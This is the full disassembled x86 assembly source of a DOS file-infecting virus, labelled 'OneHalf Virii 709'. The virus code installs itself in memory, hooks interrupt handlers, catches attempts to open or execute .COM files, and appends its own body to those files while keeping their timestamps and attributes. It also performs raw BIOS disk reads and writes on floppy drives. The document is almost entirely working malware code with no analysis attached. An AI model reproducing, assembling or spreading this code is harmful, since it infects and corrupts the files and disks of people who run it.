OneHalf  Virii

709

; --------------------------------------------------------------------------
; Disassembled by FairWind / NRG , [email protected]
; --------------------------------------------------------------------------

data_1e equ 0
data_2e equ 2
data_3e equ 2Ch
data_4e equ 2Eh
data_5e equ 30h
data_6e equ 32h
data_7e equ 54h
data_8e equ 56h
data_9e equ 70h
data_10e equ 72h
data_11e equ 84h
data_12e equ 86h
data_16e equ 0
data_17e equ 3
data_18e equ 12h
data_19e equ 0C0h
data_20e equ 0C2h
data_30e equ 0C0h
data_31e equ 0C2h
data_32e equ 0C9h
data_33e equ 0CBh

seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h

_709 proc far
start: lock mov ax,offset loc_6
jmp ax

db 20 dup (5Ah)
db 0B9h, 00h, 10h
locloop_5: loop locloop_5
retn
loc_6: call sub_1
_709 endp
sub_1 proc near
pop ax
sub ax,3
cli
push ds
push ax
push es
mov dx,30h
mov es,dx
mov dx,es:data_16e
cmp dx,8086h
je loc_7
mov word ptr es:data_16e,8086h
call sub_2
loc_7: pop es
pop ax
pop ds
mov cx,6
mov di,100h
mov si,251h
add si,ax
rep movsb
sti
mov ax,offset start
jmp ax
sub_2: mov dx,ax
mov ax,cs
dec ax
mov es,ax
mov ax,es:data_17e
sub ax,0A0h
mov es:data_17e,ax
mov ax,es:data_18e
sub ax,0A0h
mov es:data_18e,ax
mov es,ax
mov ax,cs
mov ds,ax
mov cx,500h
mov si,dx
xor di,di
rep movsw
push es
mov si,es
xor ax,ax
mov es,ax
mov ax,es:data_11e
mov cx,es:data_12e
pop es
mov es:data_30e,ax
mov es:data_31e,cx
push es
xor ax,ax
mov es,ax
pop ax
mov bx,0BBh
mov es:data_11e,bx
mov es:data_12e,ax
xor ax,ax
mov es,ax
mov bx,es:data_9e
mov cx,es:data_10e
mov ax,si
mov word ptr es:data_9e,0C4h
mov es:data_10e,ax
mov es,ax
mov es:data_32e,bx
mov es:data_33e,cx
retn
sub_1 endp

nop
call sub_4
db 0EAh, 67h, 01h, 1Ch, 1Bh
nop
call sub_3
db 0EAh, 1Eh, 01h, 0Bh, 1Ch
sub_3 proc near
push ds
push es
push ax
push bx
push cx
push dx
push di
push si
call sub_5
pop si
pop di
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
retn
sub_3 endp
db 0, 0
sub_4 proc near
push ds
push es
push ax
push bx
push cx
push dx
push di
push si
pushf
cmp ax,3D00h
je loc_8
cmp ah,4Bh
je loc_8
jmp loc_18
loc_8: mov bx,dx
loc_9: mov al,[bx]
inc bx
cmp al,2Eh
jne loc_9
cmp byte ptr [bx],43h
jne loc_10
cmp byte ptr [bx+1],4Fh
jne loc_10
cmp byte ptr [bx+2],4Dh
jne loc_10
jmp short loc_11
nop
loc_10: jmp loc_17
loc_11: mov ah,0FFh
mov bx,dx
cmp byte ptr [bx+1],3Ah
jne loc_12
mov ah,[bx]
or ah,20h
sub ah,61h
loc_12: call sub_6
or si,si
jz loc_13
jmp loc_18
loc_13: push ax
xor ax,ax
mov es,ax
mov ax,es:data_1e
mov bx,es:data_2e
mov word ptr cs:[243h],ax
mov word ptr cs:[245h],bx
pop ax
push ds
push es
push cs
pop ds
xor ax,ax
mov es,ax
mov ax,cs:data_19e
mov bx,cs:data_20e
mov es:data_1e,ax
mov es:data_2e,bx
pop es
pop ds
mov ax,ds
mov word ptr cs:[23Fh],ax
mov ax,4300h
mov si,dx
int 0
mov di,cx
mov dx,si
and cx,0FFFEh
mov ax,4301h
int 0 ; Divide by 0
mov ax,3D02h
int 0
push cs
pop ds
mov bx,ax
mov ax,5700h
push bx
int 0
pop bx
mov word ptr ds:[241h],cx
mov word ptr ds:[243h],dx
push bx
mov ah,3Fh
mov cx,6
mov dx,251h
int 0
pop bx
push bx
cmp byte ptr cs:[251h],0F0h
je loc_14
cmp ax,6
jl loc_14
jmp short loc_15
nop
loc_14: jmp short loc_16
db 90h
loc_15: pop bx
push bx
mov ax,4202h
xor cx,cx
xor dx,dx
int 0
add ax,100h
mov word ptr cs:[249h],ax
add ax,2C5h
jc loc_14
push cs
pop es
push cs
pop ds
mov ah,40h
pop bx
push bx
mov cx,2C5h
push cx
xor dx,dx
int 0
pop cx
cmp ax,cx
jne loc_14
pop bx
push bx
mov ax,4200h
xor cx,cx
xor dx,dx
int 0
mov ah,40h
pop bx
push bx
mov cx,6
mov dx,247h
int 0
loc_16: mov ax,5701h
mov cx,word ptr cs:[241h]
mov dx,word ptr cs:[243h]
int 0
pop bx
mov ah,3Eh
int 0
mov ax,4301h
mov dx,si
mov bx,word ptr cs:[23Fh]
mov ds,bx
mov cx,di
int 0
loc_17: xor ax,ax
mov ds,ax
mov ax,word ptr cs:[243h]
mov bx,word ptr cs:[245h]
mov ds:data_1e,ax
mov ds:data_2e,bx
loc_18:
popf
pop si
pop di
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
retn
sub_4 endp
db 49h, 98h,0C1h, 68h, 65h, 18h
db 8Ah, 0Ch,0F0h,0B8h, 20h, 01h
db 0FFh,0E0h, 00h, 00h,0FFh,0E0h
db 0EBh, 18h, 90h, 5Ah, 5Ah, 5Ah
db 0CDh, 20h, 00h, 00h, 00h, 00h
db 0CDh, 20h, 00h, 00h, 00h, 00h
sub_5 proc near
xor ax,ax
mov es,ax
mov ax,es:data_7e
mov bx,es:data_8e
mov es:data_3e,ax
mov es:data_5e,ax
mov es:data_4e,bx
mov es:data_6e,bx
retn
sub_5 endp
sub_6 proc near
xor si,si
push ax
push dx
push es
push cs
pop es
mov al,ah
cmp ah,0FFh
jne loc_20
mov ah,19h
int 21h
loc_20: cmp al,1
jg loc_22
mov dl,al
xor dh,dh
mov ax,201h
mov bx,2C5h
inc bx
mov cx,101h
push bx
push cx
push dx
int 13h
pop dx
pop cx
pop bx
or ah,ah
jz loc_21
inc si
jmp short loc_22
db 90h
loc_21: mov ax,301h
int 13h
or ah,ah
jz loc_22
inc si
loc_22: pop es
pop dx
pop ax
retn
sub_6 endp

seg_a ends
end start